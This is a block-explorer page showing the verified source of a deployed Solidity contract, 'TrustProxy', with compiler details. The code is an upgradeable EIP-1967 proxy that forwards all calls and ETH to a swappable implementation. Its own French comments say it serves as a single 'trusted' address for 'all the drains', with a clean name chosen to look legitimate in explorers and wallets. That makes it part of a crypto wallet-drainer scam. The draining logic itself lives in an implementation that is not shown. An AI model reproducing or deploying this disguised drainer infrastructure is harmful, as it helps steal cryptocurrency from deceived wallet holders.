Verified contractExactUnlicense
TrustProxy
Address0x871cdf43b23b8cdb10d32fd28d013288b71fbea4
- Balance
0 ETH
- Transactions
15
- Compiler
solc 0.8.26
- Same code
Only this contract
Details
- Compiler
- solc 0.8.26+commit.8a97fa7a
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- Unlicense
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,413,701
- Creation transaction
- 0xde85c53634…1de6f4c7b7
- Proxy implementation
- 0x80246c27…0ae2ac21TrustImpl
contracts/TrustProxy.sol
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.20;
/// TrustProxy - adresse STABLE (nom lisible, source verifiable) qui delegue a une implementation upgradeable.
/// But: une seule adresse "de confiance" pour tous les drains, upgradable sans changer d'adresse,
/// et un nom de contrat propre affiche par les explorers/wallets.
contract TrustProxy {
// slot EIP-1967 : keccak256("eip1967.proxy.implementation") - 1
bytes32 private constant IMPL_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
bytes32 private constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event Upgraded(address indexed implementation);
constructor(address impl) payable {
require(impl.code.length > 0, "NO_CODE");
assembly {
sstore(IMPL_SLOT, impl)
sstore(ADMIN_SLOT, caller())
}
emit Upgraded(impl);
}
function implementation() public view returns (address impl) {
assembly { impl := sload(IMPL_SLOT) }
}
function admin() public view returns (address a) {
assembly { a := sload(ADMIN_SLOT) }
}
function upgradeTo(address impl) external {
require(msg.sender == admin(), "NOT_ADMIN");
require(impl.code.length > 0, "NO_CODE");
assembly { sstore(IMPL_SLOT, impl) }
emit Upgraded(impl);
}
function changeAdmin(address a) external {
require(msg.sender == admin(), "NOT_ADMIN");
assembly { sstore(ADMIN_SLOT, a) }
}
fallback() external payable { _delegate(); }
receive() external payable { _delegate(); }
function _delegate() private {
assembly {
let impl := sload(IMPL_SLOT)
calldatacopy(0, 0, calldatasize())
let ok := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch ok
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.